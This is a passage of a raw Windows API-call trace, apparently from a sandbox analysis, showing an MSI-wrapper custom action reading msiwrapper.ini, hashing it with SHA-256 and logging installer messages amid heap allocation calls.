Size=0x40) returned 0x41bb10 [0150.405] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x80) returned 0x435760 [0150.405] MsiRecordSetStringW (hRecord=0x4d, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=CustomActionData") returned 0x0 [0150.405] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x4d) returned 0 [0150.407] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x435760 | out: hHeap=0x400000) returned 1 [0150.407] MsiCloseHandle (hAny=0x4d) returned 0x0 [0150.408] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4356e8 | out: hHeap=0x400000) returned 1 [0150.408] MsiGetPropertyW (in: hInstall=0x46, szName="CustomActionData", szValueBuf=0x74a0a6b8, pcchValueBuf=0x214f56c | out: szValueBuf="", pcchValueBuf=0x214f56c) returned 0xea [0150.408] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0xb8) returned 0x2410a78 [0150.408] MsiGetPropertyW (in: hInstall=0x46, szName="CustomActionData", szValueBuf=0x2410a78, pcchValueBuf=0x214f56c | out: szValueBuf="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini", pcchValueBuf=0x214f56c) returned 0x0 [0150.409] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xd0) returned 0x4356e8 [0150.409] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.409] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.409] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0xf0) returned 0x435b10 [0150.409] MsiCreateRecord (cParams=0x2) returned 0x4e [0150.410] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.410] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x120) returned 0x435c08 [0150.410] MsiRecordSetStringW (hRecord=0x4e, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini") returned 0x0 [0150.410] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x4e) returned 0 [0150.413] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x435c08 | out: hHeap=0x400000) returned 1 [0150.414] MsiCloseHandle (hAny=0x4e) returned 0x0 [0150.414] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x435b10 | out: hHeap=0x400000) returned 1 [0150.415] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x30) returned 0x42abb8 [0150.415] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x42abb8, Size=0xe0) returned 0x435b10 [0150.415] MsiCreateRecord (cParams=0x2) returned 0x4f [0150.415] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.415] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x110) returned 0x435bf8 [0150.415] MsiRecordSetStringW (hRecord=0x4f, iField=0x0, szValue="-- CUSTOM ACTION -- Ini file is C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini") returned 0x0 [0150.416] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x4f) returned 0 [0150.418] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x435bf8 | out: hHeap=0x400000) returned 1 [0150.418] MsiCloseHandle (hAny=0x4f) returned 0x0 [0150.419] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x435b10 | out: hHeap=0x400000) returned 1 [0150.419] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433cd0 [0150.419] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0150.419] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0150.420] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2410a78 [0150.420] ReadFile (in: hFile=0x184, lpBuffer=0x2410a78, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f210, lpOverlapped=0x0 | out: lpBuffer=0x2410a78*, lpNumberOfBytesRead=0x214f210*=0x4ca, lpOverlapped=0x0) returned 1 [0150.420] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x433cd0, Size=0x4e0) returned 0x435b10 [0150.420] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xd0) returned 0x435ff8 [0150.420] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.420] CloseHandle (hObject=0x184) returned 1 [0150.420] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433cd0 [0150.421] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x4357c0 [0150.421] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433cd0 | out: hHeap=0x400000) returned 1 [0150.421] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433cd0 [0150.422] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433cd0 | out: hHeap=0x400000) returned 1 [0150.422] CryptAcquireContextW (in: phProv=0x214f1d4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f1d4*=0x439148) returned 1 [0150.424] CryptCreateHash (in: hProv=0x439148, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f1d8 | out: phHash=0x214f1d8) returned 1 [0150.424] CryptHashData (hHash=0x436160, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0150.425] CryptHashData (hHash=0x436160, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0150.425] CryptGetHashParam (in: hHash=0x436160, dwParam=0x4, pbData=0x214f180, pdwDataLen=0x214f160, dwFlags=0x0 | out: pbData=0x214f180, pdwDataLen=0x214f160) returned 1 [0150.425] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410a78 [0150.425] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a88 [0150.425] CryptGetHashParam (in: hHash=0x436160, dwParam=0x2, pbData=0x2410a88, pdwDataLen=0x214f180, dwFlags=0x0 | out: pbData=0x2410a88, pdwDataLen=0x214f180) returned 1 [0150.425] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0150.425] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x34) returned 0x2410ac0 [0150.426] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410b00 [0150.426] GetLastError () returned 0x0 [0150.426] SetLastError (dwErrCode=0x0) [0150.426] GetLastError () returned 0x0 [0150.426] SetLastError (dwErrCode=0x0) [0150.426] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0xd8) returned 0x2410b20 [0150.426] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x355) returned 0x2410c00 [0150.427] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c00 | out: hHeap=0x2410000) returned 1 [0150.427] GetLastError () returned 0x0 [0150.427] SetLastError (dwErrCode=0x0) [0150.427] GetLastError () returned 0x0 [0150.427] SetLastError (dwErrCode=0x0) [0150.427] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0xd8) returned 0x2410c00 [0150.427] GetLastError () returned 0x0 [0150.427] SetLastError (dwErrCode=0x0) [0150.427] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x355) returned 0x2412a00 [0150.428] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412a00 | out: hHeap=0x2410000) returned 1 [0150.428] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b20 | out: hHeap=0x2410000) returned 1 [0150.428] GetLastError () returned 0x0 [0150.429] SetLastError (dwErrCode=0x0) [0150.429] GetLastError () returned 0x0 [0150.429] SetLastError (dwErrCode=0x0) [0150.429] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x200) returned 0x2410ce0 [0150.429] GetLastError () returned 0x0 [0150.429] SetLastError (dwErrCode=0x0) [0150.429] GetLastError () returned 0x0 [0150.429] SetLastError (dwErrCode=0x0) [0150.429] GetLastError () returned 0x0 [0150.429] SetLastError (dwErrCode=0x0) [0150.429] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0xd8) returned 0x2410b20 [0150.429] GetLastError () returned 0x0 [0150.429] SetLastError (dwErrCode=0x0) [0150.429] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x355) returned 0x2412a00 [0150.430] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412a00 | out: hHeap=0x2410000) returned 1 [0150.430] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c00 | out: hHeap=0x2410000) returned 1 [0150.431] RtlSizeHeap (HeapHandle=0x2410000, Flags=0x0, MemoryPointer=0x24109f0) returned 0x80 [0150.431] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x8) returned 0x2410ee8 [0150.431] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410ef8 [0150.431] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410f18 [0150.431] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x10) returned 0x2410f28 [0150.431] GetLastError () returned 0x0 [0150.431] SetLastError (dwErrCode=0x0) [0150.431] GetLastError () returned 0x0 [0150.431] SetLastError (dwErrCode=0x0) [0150.432] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0xd8) returned 0x2410c00 [0150.432] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x355) returned 0x2412a00 [0150.432] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412a00 | out: hHeap=0x2410000) returned 1 [0150.432] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b20 | out: hHeap=0x2410000) returned 1 [0150.433] GetLastError () returned 0x0 [0150.433] SetLastError (dwErrCode=0x0) [0150.433] GetLastError () returned 0x0 [0150.433] SetLastError (dwErrCode=0x0) [0150.433] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0xd8) returned 0x2410b20 [0150.433] GetLastError () returned 0x0 [0150.433] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x355) returned 0x2412a00 [0150.434] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412a00 | out: hHeap=0x2410000) returned 1 [0150.434] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c00 | out: hHeap=0x2410000) returned 1 [0150.434] GetLastError () returned 0x0 [0150.434] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0xd8) returned 0x2410c00 [0150.435] GetLastError () returned 0x0 [0150.435] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x355) returned 0x2412a00 [0150.435] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412a00 | out: hHeap=0x2410000) returned 1 [0150.436] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b20 | out: hHeap=0x2410000) returned 1 [0150.436] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x8) returned 0x2410f40 [0150.436] GetLastError () returned 0x0 [0150.436] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f50 [0150.437] GetLastError () returned 0x0 [0150.437] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0xd8) returned 0x2410b20 [0150.437] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x355) returned 0x2412a00 [0150.437] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412a00 | out: hHeap=0x2410000) returned 1 [0150.438] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c00 | out: hHeap=0x2410000) returned 1 [0150.441] GetLastError () returned 0x0 [0150.441] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0xd8) returned 0x2410c00 [0150.442] GetLastError () returned 0x0 [0150.442] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x355) returned 0x2412a00 [0150.442] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412a00 | out: hHeap=0x2410000) returned 1 [0150.443] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b20 | out: hHeap=0x2410000) returned 1 [0150.443] GetLastError () returned 0x0 [0150.443] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x1) returned 0x2410f70 [0150.443] GetLastError () returned 0x0 [0150.443] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x6) returned 0x2410b20 [0150.443] GetLastError () returned 0x0 [0150.443] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x5) returned 0x2410b30 [0150.444] GetLastError () returned 0x0 [0150.444] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x1) returned 0x2410b40 [0150.444] GetLastError () returned 0x0 [0150.444] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0xd8) returned 0x2412a00 [0150.444] GetLastError () returned 0x0 [0150.444] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x355) returned 0x2412ae0 [0150.444] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412ae0 | out: hHeap=0x2410000) returned 1 [0150.445] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c00 | out: hHeap=0x2410000) returned 1 [0150.445] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x8) returned 0x2410b50 [0150.445] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410b60 [0150.445] GetLastError () returned 0x0 [0150.445] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x40) returned 0x2410b88 [0150.446] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b60 | out: hHeap=0x2410000) returned 1 [0150.446] GetLastError () returned 0x0 [0150.446] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410bd0 [0150.446] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410c28 [0150.446] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410bd0 | out: hHeap=0x2410000) returned 1 [0150.446] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0150.446] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x4393e8 [0150.447] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x4393f8, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870") returned 0 [0150.447] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c28 | out: hHeap=0x2410000) returned 1 [0150.447] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b88 | out: hHeap=0x2410000) returned 1 [0150.447] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410f18 | out: hHeap=0x2410000) returned 1 [0150.447] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ef8 | out: hHeap=0x2410000) returned 1 [0150.448] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ab0 | out: hHeap=0x2410000) returned 1 [0150.448] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a88 | out: hHeap=0x2410000) returned 1 [0150.448] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.448] CryptDestroyHash (hHash=0x436160) returned 1 [0150.448] CryptReleaseContext (hProv=0x439148, dwFlags=0x0) returned 1 [0150.448] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4393e8 | out: hHeap=0x400000) returned 1 [0150.449] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.449] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433de8 [0150.449] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x433de8, Size=0x40) returned 0x41bb10 [0150.449] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433de8 [0150.449] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41bb10 | out: hHeap=0x400000) returned 1 [0150.449] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.449] MsiCreateRecord (cParams=0x2) returned 0x50 [0150.460] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb58 [0150.460] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb58, Size=0x70) returned 0x4360d0 [0150.460] MsiRecordSetStringW (hRecord=0x50, iField=0x0, szValue="-- CUSTOM ACTION -- Valid exit codes are 0") returned 0x0 [0150.460] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x50) returned 0 [0150.465] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4360d0 | out: hHeap=0x400000) returned 1 [0150.465] MsiCloseHandle (hAny=0x50) returned 0x0 [0150.466] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41bb10 | out: hHeap=0x400000) returned 1 [0150.466] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0150.467] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0150.467] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2412ae0 [0150.467] ReadFile (in: hFile=0x184, lpBuffer=0x2412ae0, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f210, lpOverlapped=0x0 | out: lpBuffer=0x2412ae0*, lpNumberOfBytesRead=0x214f210*=0x4ca, lpOverlapped=0x0) returned 1 [0150.467] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412ae0 | out: hHeap=0x2410000) returned 1 [0150.467] CloseHandle (hObject=0x184) returned 1 [0150.467] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e10 [0150.467] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x4357c0 [0150.468] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433e10 | out: hHeap=0x400000) returned 1 [0150.468] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e10 [0150.468] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433e10 | out: hHeap=0x400000) returned 1 [0150.468] CryptAcquireContextW (in: phProv=0x214f1d4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f1d4*=0x439148) returned 1 [0150.469] CryptCreateHash (in: hProv=0x439148, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f1d8 | out: phHash=0x214f1d8) returned 1 [0150.469] CryptHashData (hHash=0x4361a0, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0150.469] CryptHashData (hHash=0x4361a0, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0150.469] CryptGetHashParam (in: hHash=0x4361a0, dwParam=0x4, pbData=0x214f180, pdwDataLen=0x214f160, dwFlags=0x0 | out: pbData=0x214f180, pdwDataLen=0x214f160) returned 1 [0150.469] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0150.469] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a78 [0150.469] CryptGetHashParam (in: hHash=0x4361a0, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f180, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f180) returned 1 [0150.469] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0150.469] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0150.470] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0150.470] GetLastError () returned 0x0 [0150.470] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410b60 [0150.470] GetLastError () returned 0x0 [0150.470] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x40) returned 0x2410b88 [0150.470] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b60 | out: hHeap=0x2410000) returned 1 [0150.470] GetLastError () returned 0x0 [0150.471] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410bd0 [0150.471] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410c28 [0150.471] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410bd0 | out: hHeap=0x2410000) returned 1 [0150.471] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0150.471] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x439be8 [0150.471] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x439bf8, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870") returned 0 [0150.471] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c28 | out: hHeap=0x2410000) returned 1 [0150.471] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b88 | out: hHeap=0x2410000) returned 1 [0150.471] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ab0 | out: hHeap=0x2410000) returned 1 [0150.471] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410f08 | out: hHeap=0x2410000) returned 1 [0150.472] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410aa0 | out: hHeap=0x2410000) returned 1 [0150.472] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.472] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ef8 | out: hHeap=0x2410000) returned 1 [0150.472] CryptDestroyHash (hHash=0x4361a0) returned 1 [0150.472] CryptReleaseContext (hProv=0x439148, dwFlags=0x0) returned 1 [0150.472] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439be8 | out: hHeap=0x400000) returned 1 [0150.472] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.472] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e10 [0150.472] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x433e10, Size=0x30) returned 0x42abb8 [0150.473] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x30) returned 0x4360d0 [0150.473] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x42abb8 | out: hHeap=0x400000) returned 1 [0150.473] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x30) returned 0x42abb8 [0150.473] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x42abb8, Size=0x50) returned 0x4357c0 [0150.473] MsiCreateRecord (cParams=0x2) returned 0x51 [0150.474] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.474] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x70) returned 0x439148 [0150.474] MsiRecordSetStringW (hRecord=0x51, iField=0x0, szValue="-- CUSTOM ACTION -- Base name is install.exe") returned 0x0 [0150.475] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x51) returned 0 [0150.480] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439148 | out: hHeap=0x400000) returned 1 [0150.480] MsiCloseHandle (hAny=0x51) returned 0x0 [0150.482] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.482] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0150.482] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0150.482] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2412ae0 [0150.482] ReadFile (in: hFile=0x184, lpBuffer=0x2412ae0, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f210, lpOverlapped=0x0 | out: lpBuffer=0x2412ae0*, lpNumberOfBytesRead=0x214f210*=0x4ca, lpOverlapped=0x0) returned 1 [0150.483] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412ae0 | out: hHeap=0x2410000) returned 1 [0150.483] CloseHandle (hObject=0x184) returned 1 [0150.483] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e10 [0150.483] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x4357c0 [0150.483] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433e10 | out: hHeap=0x400000) returned 1 [0150.483] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e10 [0150.484] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433e10 | out: hHeap=0x400000) returned 1 [0150.484] CryptAcquireContextW (in: phProv=0x214f1d4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f1d4*=0x439148) returned 1 [0150.485] CryptCreateHash (in: hProv=0x439148, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f1d8 | out: phHash=0x214f1d8) returned 1 [0150.485] CryptHashData (hHash=0x436160, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0150.485] CryptHashData (hHash=0x436160, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0150.485] CryptGetHashParam (in: hHash=0x436160, dwParam=0x4, pbData=0x214f180, pdwDataLen=0x214f160, dwFlags=0x0 | out: pbData=0x214f180, pdwDataLen=0x214f160) returned 1 [0150.485] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0150.485] RtlAllocateHeap (HeapHandle=0x2410000, 